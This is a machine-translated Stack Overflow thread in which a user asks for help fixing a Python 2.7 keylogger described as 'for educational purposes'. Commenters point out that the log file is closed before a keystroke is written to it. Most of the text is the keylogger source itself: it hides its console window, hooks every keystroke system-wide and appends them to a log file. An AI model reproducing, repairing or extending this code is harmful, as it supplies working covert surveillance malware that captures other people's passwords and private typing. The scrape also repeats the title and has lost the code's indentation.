制作键盘记录器时出现Python代码错误(仅用于教育目的)
所以我试图制作一个键盘记录器(仅用于教育目的),这里是我的代码制作键盘记录器时出现Python代码错误(仅用于教育目的),python,python-2.7,keylogger,Python,Python 2.7,Keylogger,所以我试图制作一个键盘记录器(仅用于教育目的),这里是我的代码 #!/usr/bin/env python import pyHook import pythoncom import win32gui import win32console import time import smtplib, os log_file = "d:\control.txt" #name of log file window = win32console.GetConsoleWi
#!/usr/bin/env python
import pyHook
import pythoncom
import win32gui
import win32console
import time
import smtplib, os
log_file = "d:\control.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages()
在运行代码之后,我遇到了一些类似这样的错误
Traceback (most recent call last):
File "C:\Python278\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Python278\logger.pyw", line 22, in pressed_chars
f.write(char) # (write char)
ValueError: I/O operation on closed file
我这样做是为了,每当我按下“Q”这个字符时,程序都会停止记录击键。但是,如果我在第19-20行之间输入以下代码:“exit()”,程序工作正常,但在执行任何其他操作之前退出。我一直试图自己解决它,但我似乎无法让它按我想要的方式工作。有什么想法吗?顺便说一下,使用Python 2.7.8。如果字符是“q”,则关闭文件如果char==“q”:#(如果char是q)'
试着做一个假设。。埃利夫。。否则
顺便说一句,如果char==“q”:f.close()[SNIP]f.write(char),我更喜欢使用open()。你看到问题了吗?我想如果日志文件关闭它就不能写字符了,对吧?答对了。要么在关闭文件之前写下字符,要么根本不写。刚才看到@Rawing也这么说。由于我是Stackoverflow新手,什么样的“正确”回答问题?发布答案当然比发表评论更好。与评论不同,答案是可以接受的,因此问题被标记为已回答。你赢了这一轮:)好的:)我只想遵循标准。我有点喜欢你“问正确的问题”的方式,我也很怀疑